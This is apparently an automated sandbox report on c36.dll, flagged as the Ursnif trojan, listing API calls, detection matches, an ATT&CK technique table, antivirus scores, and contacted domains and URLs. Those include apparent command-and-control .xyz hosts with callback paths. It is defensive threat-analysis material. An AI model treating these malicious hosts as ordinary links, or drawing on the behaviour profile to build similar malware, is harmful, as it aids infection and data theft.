Source: loaddll32.exe, 00000000.00000002.1017746291.0000000001420000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.1018045127.0000000002E10000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: loaddll32.exe, 00000000.00000002.1017746291.0000000001420000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.1018045127.0000000002E10000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_00819135 cpuid

4_2_00819135

Source: C:\Windows\System32\loaddll32.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,__invoke_watson,___crtGetLocaleInfoW,	0_2_6D4D3C75
Source: C:\Windows\System32\loaddll32.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,InterlockedDecrement,InterlockedDecrement,	0_2_6D4C8C74
Source: C:\Windows\System32\loaddll32.exe	Code function: __calloc_crt,__malloc_crt,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,	0_2_6D4CD7F4
Source: C:\Windows\System32\loaddll32.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	0_2_6D4CD186
Source: C:\Windows\System32\loaddll32.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_6D4D74C2
Source: C:\Windows\System32\loaddll32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	0_2_6D4CE791
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoA,GetLocaleInfoA,GetACP,	0_2_6D4CE67A
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoA,	0_2_6D4D3E03
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoA,_LcidFromHexString,_GetPrimaryLen,_strlen,	0_2_6D4CE829
Source: C:\Windows\System32\loaddll32.exe	Code function: _LocaleUpdate::_LocaleUpdate,GetLocaleInfoW,	0_2_6D4D734F
Source: C:\Windows\System32\loaddll32.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	0_2_6D4CEB30
Source: C:\Windows\System32\loaddll32.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,_ProcessCodePage,IsValidCodePage,IsValidLocale,_strcpy_s,__invoke_watson,__itoa_s,	0_2_6D4CEBD3
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLastError,_malloc,WideCharToMultiByte,__freea,GetLocaleInfoA,	0_2_6D4D7383
Source: C:\Windows\System32\loaddll32.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	0_2_6D4CEB97
Source: C:\Windows\System32\loaddll32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	0_2_6D4CEA6F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,__invoke_watson,___crtGetLocaleInfoW,	4_2_6D4D3C75
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,InterlockedDecrement,InterlockedDecrement,	4_2_6D4C8C74
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: __calloc_crt,__malloc_crt,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,	4_2_6D4CD7F4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	4_2_6D4CD186
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	4_2_6D4D74C2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	4_2_6D4CE791
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoA,GetLocaleInfoA,GetACP,	4_2_6D4CE67A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoA,	4_2_6D4D3E03
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoA,_LcidFromHexString,_GetPrimaryLen,_strlen,	4_2_6D4CE829
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: _LocaleUpdate::_LocaleUpdate,GetLocaleInfoW,	4_2_6D4D734F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	4_2_6D4CEB30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,_ProcessCodePage,IsValidCodePage,IsValidLocale,_strcpy_s,__invoke_watson,__itoa_s,	4_2_6D4CEBD3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLastError,_malloc,WideCharToMultiByte,__freea,GetLocaleInfoA,	4_2_6D4D7383
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	4_2_6D4CEB97
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	4_2_6D4CEA6F

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6D491ADA GetSystemTimeAsFileTime,_aulldiv,_snwprintf,CreateFileMappingW,GetLastError,GetLastError,MapViewOfFile,GetLastError,CloseHandle,GetLastError,

0_2_6D491ADA

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_00819135 RtlAllocateHeap,GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree,

4_2_00819135

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6D4CB23D __lock,__get_daylight,__invoke_watson,__get_daylight,__invoke_watson,__get_daylight,__invoke_watson,____lc_codepage_func,__getenv_helper_nolock,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,GetTimeZoneInformation,__invoke_watson,__invoke_watson,

0_2_6D4CB23D

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6D491F0E CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError,

0_2_6D491F0E

Stealing of Sensitive Information:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000004.00000003.910366216.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790900009.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790960793.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910522567.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910307395.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790850525.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790877212.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790821624.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910457867.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1018360128.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910423038.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790930892.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910544336.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790783444.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910564992.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910494134.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790740831.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 6856, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 6932, type: MEMORY

Remote Access Functionality:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000004.00000003.910366216.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790900009.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790960793.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910522567.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910307395.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790850525.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790877212.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790821624.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910457867.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1018360128.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910423038.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790930892.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910544336.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790783444.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910564992.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910494134.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790740831.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 6856, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 6932, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation2	Path Interception	Process Injection12	Masquerading1	Input Capture1	System Time Discovery2	Remote Services	Input Capture1	Exfiltration Over Other Network Medium	Encrypted Channel12	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API1	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Process Injection12	LSASS Memory	Query Registry1	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Ingress Tool Transfer1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Deobfuscate/Decode Files or Information1	Security Account Manager	Security Software Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Obfuscated Files or Information2	NTDS	Process Discovery2	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol3	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Rundll321	LSA Secrets	Account Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	System Owner/User Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	File and Directory Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	System Information Discovery23	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
c36.dll	7%	Virustotal		Browse
c36.dll	3%	Metadefender		Browse
c36.dll	14%	ReversingLabs	Win32.Trojan.Ursnif

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
0.2.loaddll32.exe.f00000.0.unpack	100%	Avira	HEUR/AGEN.1108168		Download File
4.2.rundll32.exe.810000.1.unpack	100%	Avira	HEUR/AGEN.1108168		Download File

Domains

Source	Detection	Scanner	Link
www.googleoptimize.com	1%	Virustotal	Browse
taybhctdyehfhgthp2.xyz	0%	Virustotal	Browse
thyihjtkylhmhnypp2.xyz	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://scottjehl.github.io/picturefill	0%	Avira URL Cloud	safe
http://taybhctdyehfhgthp2.xyz/jdraw/vPapbiz2Eh/ZPYySNPAkvOvIyVz2/tWl_2FHqiE2d/6ywtXMerrZg/ABJ_2FJE5Z	0%	Avira URL Cloud	safe
https://dl.gmx.co.uk/permission/oneTrust/	0%	Avira URL Cloud	safe
http://thyihjtkylhmhnypp2.xyz/jdraw/5aLAbJwTVae/qoEFd9apr89OcM/6ayYRQOOdtFpSwTDl2aq9/CqCbos6Cqnizb6H	0%	Avira URL Cloud	safe
http://www.wikipedia.com/	0%	URL Reputation	safe
http://www.wikipedia.com/	0%	URL Reputation	safe
http://www.wikipedia.com/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
outlook.com	40.97.128.194	true	false		high
ZRH-efz.ms-acdc.office.com	52.97.186.114	true	false		high
www.mail.com	82.165.229.59	true	false		high
plusmailcom.ha-cdn.de	195.20.250.115	true	false		unknown
mail.com	82.165.229.87	true	false		high
wa.mail.com	82.165.229.16	true	false		high
www.googleoptimize.com	172.217.168.14	true	false	1%, Virustotal, Browse	unknown
outlook.office365.com	unknown	unknown	false		high
s.uicdn.com	unknown	unknown	false		high
taybhctdyehfhgthp2.xyz	unknown	unknown	true	0%, Virustotal, Browse	unknown
www.outlook.com	unknown	unknown	false		high
img.ui-portal.de	unknown	unknown	false		high
thyihjtkylhmhnypp2.xyz	unknown	unknown	true	0%, Virustotal, Browse	unknown
plus.mail.com	unknown	unknown	false		high
dl.mail.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://outlook.com/jdraw/OvXGpKzLxUlvc/5YmODYZ1/gEki0c5_2Bcj_2BJgBmclYf/4zl_2FiIGx/zg7_2FVzTFFpxQ0Zg/IVmTcFICtOu9/15kAqnW78YI/MXCY1lZONnEzVM/eyszldhHfL9FhdO1fFyz9/RRaqeJksBpKD0xlU/B2SSOZmmpvCp3sI/4IJYpEC_2BP8ptXo3E/E9fvTGTLb/WJ6m1MuHv/Uxoe1d.crw	false		high
http://mail.com/jdraw/2x8ENuMVJEai_2FVqcwg/KQQ50kpn0M3L73ENNBE/G1knvzad_2Fg_2BkyCoA3S/RcPZinl4BFdYu/NG5HWnb0/vfvVzx4Doj88hqHzLS5VCB0/IRrw6ObYiX/1_2Fr33YbqAT9Ry0m/a_2FLfkuNA_2/F_2Fy3jjalf/Eg8brnQokZm55h/jGcurV8IMufIt7jFcTF99/whDSjKuT/g9l8UU7_2/B.crw	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://dl.gmx.at/permission/oneTrust/	lt[1].htm.32.dr	false		high
https://www.mail.com/cdraw/2x8ENuMVJEai_2FVqcwg/KQQ50kpn0M3L73ENNBE/G1knvzad_2Fg_2BkyCoA3S/RcPZinl4B	{A90D6F79-E0BA-11EB-90EB-ECF4BBEA1588}.dat.31.dr	false		high
https://dl.1und1.de/permission/oneTrust/	lt[1].htm.32.dr	false		high
https://wa.mail.com/1and1/mailcom/s?_c=0&name=	main[1].js.32.dr	false		high
https://www.mail.com/consentpage/event/visit	consentpage[1].htm.32.dr	false		high
https://img.ui-portal.de/pos-cdn/tracklib/4.3.0/tracklib.min.js	core[1].htm.32.dr	false		high
https://s.uicdn.com/mailint/9.1725.0/assets/consent/consent-management.js	consentpage[1].htm.32.dr	false		high
http://scottjehl.github.io/picturefill	picturefill.min[1].js.32.dr	false	Avira URL Cloud: safe	unknown
https://s.uicdn.com/mailint/9.1725.0/assets/consent/main.js	consentpage[1].htm.32.dr	false		high
https://dl.gmx.com/permission/oneTrust/	lt[1].htm.32.dr	false		high
https://s.uicdn.com/permission/live/	lt[1].htm.32.dr	false		high
http://www.amazon.com/	msapplication.xml.15.dr	false		high
https://s.uicdn.com/tcf/live/v1/js/tcf-api.js	core[1].htm.32.dr	false		high
http://www.twitter.com/	msapplication.xml5.15.dr	false		high
https://dl.web.de/permission/oneTrust/	lt[1].htm.32.dr	false		high
https://www.mail.com/	consentpage[1].htm.32.dr	false		high
https://dl.gmx.es/permission/oneTrust/	lt[1].htm.32.dr	false		high
https://github.com/arv/DOM-URL-Polyfill/blob/master/src/url.js	url-polyfill[1].js.32.dr	false		high
https://www.mail.com/consentpage/event/error	consentpage[1].htm.32.dr	false		high
https://dl.mail.com/tcf/live/v1/js/tcf-api.js	consentpage[1].htm.32.dr	false		high
https://github.com/scottjehl/picturefill/blob/master/Authors.txt;	picturefill.min[1].js.32.dr	false		high
https://nct.ui-portal.de/mailcom/mailcom/s?	lt[1].htm.32.dr	false		high
https://my.onetrust.com/s/article/UUID-185d63b9-1094-a9d3-e684-bb1f155ae6ad	lt[1].htm.32.dr	false		high
http://taybhctdyehfhgthp2.xyz/jdraw/vPapbiz2Eh/ZPYySNPAkvOvIyVz2/tWl_2FHqiE2d/6ywtXMerrZg/ABJ_2FJE5Z	loaddll32.exe, 00000000.00000003.885385904.0000000001014000.00000004.00000001.sdmp, ~DF5F3CA953B42C7490.TMP.24.dr, {93B4E602-E0BA-11EB-90EB-ECF4BBEA1588}.dat.24.dr	false	Avira URL Cloud: safe	unknown
https://dl.gmx.co.uk/permission/oneTrust/	lt[1].htm.32.dr	false	Avira URL Cloud: safe	unknown
https://url.spec.whatwg.org/#urlencoded-serializing	url-polyfill[1].js.32.dr	false		high
https://dl.gmx.ch/permission/oneTrust/	lt[1].htm.32.dr	false		high
https://dl.mail.com/permission/live/v1/ppp/js/permission-client.js	consentpage[1].htm.32.dr	false		high
https://img.ui-portal.de/pos-cdn/tracklib/4.3.0/polyfills.min.js	core[1].htm.32.dr	false		high
https://outlook.office365.com/jdraw/OvXGpKzLxUlvc/5YmODYZ1/gEki0c5_2Bcj_2BJgBmclYf/4zl_2FiIGx/zg7_2F	~DF8670946C9A228354.TMP.15.dr, {79338731-E0BA-11EB-90EB-ECF4BBEA1588}.dat.15.dr	false		high
https://outlook.office365.com/jdraw/0SBJEaWj8uzaYO9/X2ZLyhcXhOBs13vUhk/uA0Mj7KPw/1hd_2FrDfFtdqWCbDdz	{B0214097-E0BA-11EB-90EB-ECF4BBEA1588}.dat.34.dr	false		high
https://github.com/getsentry/sentry-javascript	bundle.min[1].js.32.dr	false		high
http://www.reddit.com/	msapplication.xml4.15.dr	false		high
https://mail.com/jdraw/2x8ENuMVJEai_2FVqcwg/KQQ50kpn0M3L73ENNBE/G1knvzad_2Fg_2BkyCoA3S/RcPZinl4BFdYu	B[1].htm.32.dr	false		high
https://cdn.cookielaw.org/logos/b1d060cc-fa13-4e1e-8a5e-fd705963d55b/11da4229-abbc-4e04-a16b-72fa8f1	lt[1].htm.32.dr	false		high
http://thyihjtkylhmhnypp2.xyz/jdraw/5aLAbJwTVae/qoEFd9apr89OcM/6ayYRQOOdtFpSwTDl2aq9/CqCbos6Cqnizb6H	{A226C240-E0BA-11EB-90EB-ECF4BBEA1588}.dat.29.dr	false	Avira URL Cloud: safe	unknown
https://github.com/WebReflection/url-search-params/blob/master/src/url-search-params.js	url-polyfill[1].js.32.dr	false		high
https://s.uicdn.com/shared/sentry/5.5.0/bundle.min.js	core[1].htm.32.dr, lt[1].htm.32.dr	false		high
http://www.nytimes.com/	msapplication.xml3.15.dr	false		high
https://outlook.office365.com/jdraw/xGbcxYlao6QybS/5qDDj85QhfUdCqg61IRxY/a3KKCFnPRTca1yiq/_2Fc_2FODy	{9AD72DED-E0BA-11EB-90EB-ECF4BBEA1588}.dat.27.dr	false		high
https://s.uicdn.com/mailint/9.1725.0/assets/consent/mailcom/styles.css	consentpage[1].htm.32.dr	false		high
https://s.uicdn.com/tcf/live/	lt[1].htm.32.dr	false		high
https://dl.mail.com/permission/oneTrust/	lt[1].htm.32.dr	false		high
https://www.mail.com/consentpageVJEai_2FVqcwg/KQQ50kpn0M3L73ENNBE/G1knvzad_2Fg_2BkyCoA3S/RcPZinl4BFd	~DF3B2B4B210D4677DA.TMP.31.dr, {A90D6F79-E0BA-11EB-90EB-ECF4BBEA1588}.dat.31.dr	false		high
http://modernizr.com/download/?-csstransforms-csstransforms3d-csstransitions-flexbox-flexboxlegacy-f	head.min[1].js.32.dr	false		high
https://cdn.cookielaw.org/logos/b1d060cc-fa13-4e1e-8a5e-fd705963d55b/662e5c67-1d13-450e-90e2-8ba98fb	lt[1].htm.32.dr	false		high
https://dl.gmx.net/permission/oneTrust/	lt[1].htm.32.dr	false		high
https://s.uicdn.com/mailint/9.1725.0/assets/consent/mailcom/spinner.gif	consentpage[1].htm.32.dr	false		high
https://s.uicdn.com/mailint/9.1725.0/assets/favicon.ico	consentpage[1].htm.32.dr	false		high
https://www.mail.com/consentpage	~DF3B2B4B210D4677DA.TMP.31.dr	false		high
https://mam-confluence.1and1.com/display/TDII/BRAIN-Tracking	lt[1].htm.32.dr	false		high
http://www.youtube.com/	msapplication.xml7.15.dr	false		high
https://www.mail.com/jdraw/2x8ENuMVJEai_2FVqcwg/KQQ50kpn0M3L73ENNBE/G1knvzad_2Fg_2BkyCoA3S/RcPZinl4B	~DF3B2B4B210D4677DA.TMP.31.dr, {A90D6F79-E0BA-11EB-90EB-ECF4BBEA1588}.dat.31.dr, B[1].htm0.32.dr	false		high
https://cdn.cookielaw.org/vendorlist/	lt[1].htm.32.dr	false		high
http://www.wikipedia.com/	msapplication.xml6.15.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://github.com/js-cookie/js-cookie	permission-client[1].js.32.dr	false		high
http://www.live.com/	msapplication.xml2.15.dr	false		high
https://s.uicdn.com/mailint/9.1725.0/assets/favicon.ico~	imagestore.dat.31.dr	false		high
https://dl.gmx.fr/permission/oneTrust/	lt[1].htm.32.dr	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
52.97.201.210	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
40.97.128.194	outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
195.20.250.115	plusmailcom.ha-cdn.de	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	false
52.97.201.194	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.97.186.114	ZRH-efz.ms-acdc.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.98.163.18	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.98.168.178	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
82.165.229.16	wa.mail.com	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	false
172.217.168.14	www.googleoptimize.com	United States	15169	GOOGLEUS	false
52.97.232.194	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
82.165.229.59	www.mail.com	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	false
82.165.229.87	mail.com	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	446420
Start date:	09.07.2021
Start time:	15:33:16
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	c36.dll
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	38
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal84.troj.winDLL@34/91@25/13
EGA Information:	Failed
HDC Information:	Successful, ratio: 12.6% (good quality ratio 11.9%) Quality average: 78.8% Quality standard deviation: 29.3%
HCA Information:	Successful, ratio: 73% Number of executed functions: 53 Number of non-executed functions: 84
Cookbook Comments:	Adjust boot time Enable AMSI Sleeps bigger than 120000ms are automatically reduced to 1000ms Found application associated with file extension: .dll
Warnings:	Show All Max analysis timeout: 220s exceeded, the analysis took too long Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, ielowutil.exe, RuntimeBroker.exe, backgroundTaskHost.exe, WmiPrvSE.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 13.64.90.137, 52.255.188.83, 104.43.139.144, 13.88.21.125, 168.61.161.212, 20.82.209.183, 40.88.32.150, 104.43.193.48, 2.18.105.186, 20.72.88.19, 40.112.88.60, 20.75.105.140, 20.82.210.154, 23.10.249.26, 23.10.249.43, 152.199.19.161, 95.100.56.233, 172.217.168.74 Excluded domains from analysis (whitelisted): iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a1449.dscg2.akamai.net, arc.msn.com, consumerrp-displaycatalog-aks2eap-europe.md.mp.microsoft.com.akadns.net, e11290.dspg.akamaiedge.net, eus2-consumerrp-displaycatalog-aks2aks-useast.md.mp.microsoft.com.akadns.net, iecvlist.microsoft.com, skypedataprdcoleus15.cloudapp.net, go.microsoft.com, e5416.g.akamaiedge.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, skypedataprdcolwus17.cloudapp.net, iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, fonts.googleapis.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, ie9comview.vo.msecnd.net, ris-prod.trafficmanager.net, 